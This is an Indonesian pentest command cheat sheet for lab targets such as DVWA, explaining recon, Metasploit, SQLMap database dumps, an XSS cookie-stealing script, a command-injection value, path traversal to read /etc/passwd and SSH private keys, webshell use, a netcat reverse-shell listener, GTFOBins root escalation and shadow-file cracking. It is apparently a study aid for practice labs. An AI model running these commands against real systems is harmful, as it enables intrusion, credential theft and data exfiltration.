KAMUS COMMAND TOOL PENTEST

nmap -sP 10.0.2.0/24	Untuk scan semua IP range/segmen yang aktif 10.0.2.0/24
nmap -sV 10.0.2.7	Untuk scan port dan service yang ada pada IP 10.0.2.7
nmap -sV -O 10.0.2.7	Untuk scan port dan service yang ada pada IP 10.0.2.7 lebih detail dengan OS
nmap -sC <IP Target>	Scan IP target dengan menjalankan script
netdiscover -r <IP Segmen (10.0.2.0/24)>	Untuk scan semua IP pada range 10.0.2.0/24
Searchsploit	Menampilkan eksploit pada hasil scan -sV atau -sC
nikto -h <IP Target>	Untuk mengecek direktori, port, service yang ada pada IP 10.0.2.7 hasil ada CVE dan keterangan update atau tidak
dirb http://10.0.2.7	Untuk scan list direktori yang ada pada aplikasi web base dan website
dirb http://10.0.2.7 -X .php, .txt, .html	Untuk scan file berdasarkan ekstensi (.php, .txt, .html)
dirb http://10.0.2.7/ /usr/share/wordlists/dirb/common.txt	Untuk scan list direktori dengan berdasarkan wordlist
ffuf -u http://10.0.2.7/test.php?FUZZ=/etc/passwd -w /usr/share/wordlists/dirb/common.txt -fs 80	FUZZ : mencari otomatis parameter yang dibutuhkan, missal parameternya file -fs : Filter Size untuk membatasi output 80 byte tidak ditampilkan karena /etc/passwd biasanya lebih dari 80 byte
wpscan http://10.0.2.7/secret --enumerate u	Untuk scan user pada website yang menggunakan CMS Wordpress
wpscan --url http://target -U user-worpressnya -P /usr/share/wordlists/rockyou.txt	Untuk scan password pada website wordpress jika sudah mengetahui usernya dengan kombinasi wordlist
msfconsole	Untuk menjalankan tool Metasploite
msf6 >	Metasploite berhasil running
msf6 > search proftpd 2.3.4	Mencari kerentanan pada proftpd 2.3.4 menggunakan Metasploite
msf6 > search proftpd 2.3.4 rank:excellent	Mencari kerentanan pada proftpd 2.3.4 menggunakan Metasploite filter berdasar rank hanya muncul rank Excellent
msf6 > use 3	Menggunakan module kerentanan dengan nomor index 3
msf6 > show options	Menampilkan parameter yang dibutuhkan pada modul exploitnya missal RHOSTS, LHOST dll
msf6 > set rhosts 10.0.2.7	Untuk setting IP 10.0.2.7 sebagai target
msf6 > set lhost 10.0.2.15	Untuk seting IP 10.0.2.15 sebagai penyerang/local
msf6 > show payloads	Untuk menampilkan semua payload yang ada, prioritaskan yang bind
msf6 > set payload 3	Menggunakan payload nomor index 3 untuk eksploitasi
msf6 > run	Menjalankan eksploitasi
msf6 > back	Untuk kembali ke awal seperti pertama membuka Metasploite
8.8.8.8 | ls -al	Command Execution pada DVWA menu ping
sqlmap -u 'http://10.0.2.7/dvwa/vuln/id=1'	Untuk mencari kerentanan SQL Injection menggunakan tool SQLMap
sqlmap -u 'http://10.0.2.7/dvwa/vuln/id=1 ' --cookie="security=low;PHPSESSID=23NjshhdGxxx"	Menambahkan Cookie pada SQLMap yang diambil dari hasil inspect pada browser pada bagian Network, jika berhasil maka akan muncul INFO : the back-end DBMS is MySQL
sqlmap -u 'http://10.0.2.7/dvwa/vuln/id=1 ' --cookie="security=low;PHPSESSID=23NjshhdGxxx" --dbs	Scan SQLMap untuk mendapatkan list database yang ada pada target

sqlmap -u 'http://10.0.2.7/dvwa/vuln/id=1 ' --cookie="security=low;PHPSESSID=23NjshhdGxxx" -D dvwa -- tables	Scan SQLMap untuk mendapatkan table-tabel yang ada pada database 'dvwa'
sqlmap -u 'http://10.0.2.7/dvwa/vuln/id=1 ' --cookie="security=low;PHPSESSID=23NjshhdGxxx" -D dvwa -T users --columns	Scan SQLMap untuk mendapatkan kolom (field) yang ada pada database 'dvwa' table 'users'
sqlmap -u 'http://10.0.2.7/dvwa/vuln/id=1 ' --cookie="security=low;PHPSESSID=23NjshhdGxxx" -D dvwa -T users --dump	Untuk melakukan dump data pada database 'dvwa' table 'users'
<script>alert(1)</script>	Script XSS untuk menmpilkan alert
<script>alert(document.cookie)</script>	Script XSS untuk mendapatkan cookie
http://10.0.2.7/dvwa/vuln/fi/?page=../../../../../etc/passwd	Mendapatkan isi file pada /etc/passwd melalui kerentanan File Inclusion pada web dvwa
open . (open spasi titik)	Membuka gui sesuai lokasi path pada terminal Kali Linux
/usr/share/webshell/php	Lokasi path webshell php pada kali linux missal simple-backdoor.php, php-reverse-shell.php
/usr/share/wordlists/	Lokasi path wordlist pada kali linux
http://10.0.2.7/dvwa/hackable/uploads/simple-backdoor.php?cmd=cat+/etc/passwd	Menampilkan isi file /etc/passwd setelah upload file simple-backdoor.php pada web dvwa
nc -lnvp 1234	Menjalankan listerning setelah upload php-reverse-shell.php dengan seting IP 10.0.2.15 (penyerang) dan port 1234 pada file reverse-backdoor nya, reverse backdoor harus menjalankan listening pada kali linux dan trigger pada sisi target dengan akses url lokasi reverse-backdoornya
gtfobins.github.io	Website referensi untuk eksploitasi akses root pada target melalui python, nmap dll
python -c 'import os; os.system(/bin/sh)'	Scripts python dari gtfobins untuk exploitasi akses root
nmap --interactive	Script dari gtfobins melalui celah nmap, karena pada server terinstall nmap, sehingga bisa eksploitasi sampai akses root
/etc/passwd	Lokasi path semua user yang ada di Linux
/etc/shadow	Lokasi path password user yang ada di Linux
unshadow passwd.txt shadow.txt > crack.txt	Melakukan unshadow passwd dan shadow menjadi file crack.txt
john crack.txt	Setelah di unshadow lakukan cracking user dan password dengan tool John The Ripper (JTR)
ssh user_ssh@10.0.2.7	Akses ssh melalui console/terminal ke IP 10.0.2.7
curl http://10.0.2.8/test.php?file=/etc/passwd	Mendapatkan isi user pada file /etc/passwd menggunakan curl
curl http://10.0.2.8/test.php?file=/home/usernya/.ssh/id_rsa	Untuk melihat id_rsa user SSH yang dapat dipakai untuk login ssh tanpa menggunakan password
chmod 600 id-rsa-sshnya	Id_RSA yang didapat harus ubah permission menjadi 600
ssh -i id-rsa-sshnya userssh@10.0.2.8	Cara akses SSH dengan menggunakan file id-RSA usershh
cat .bash_history	Untuk menampilkan history command yang pernah dijalankan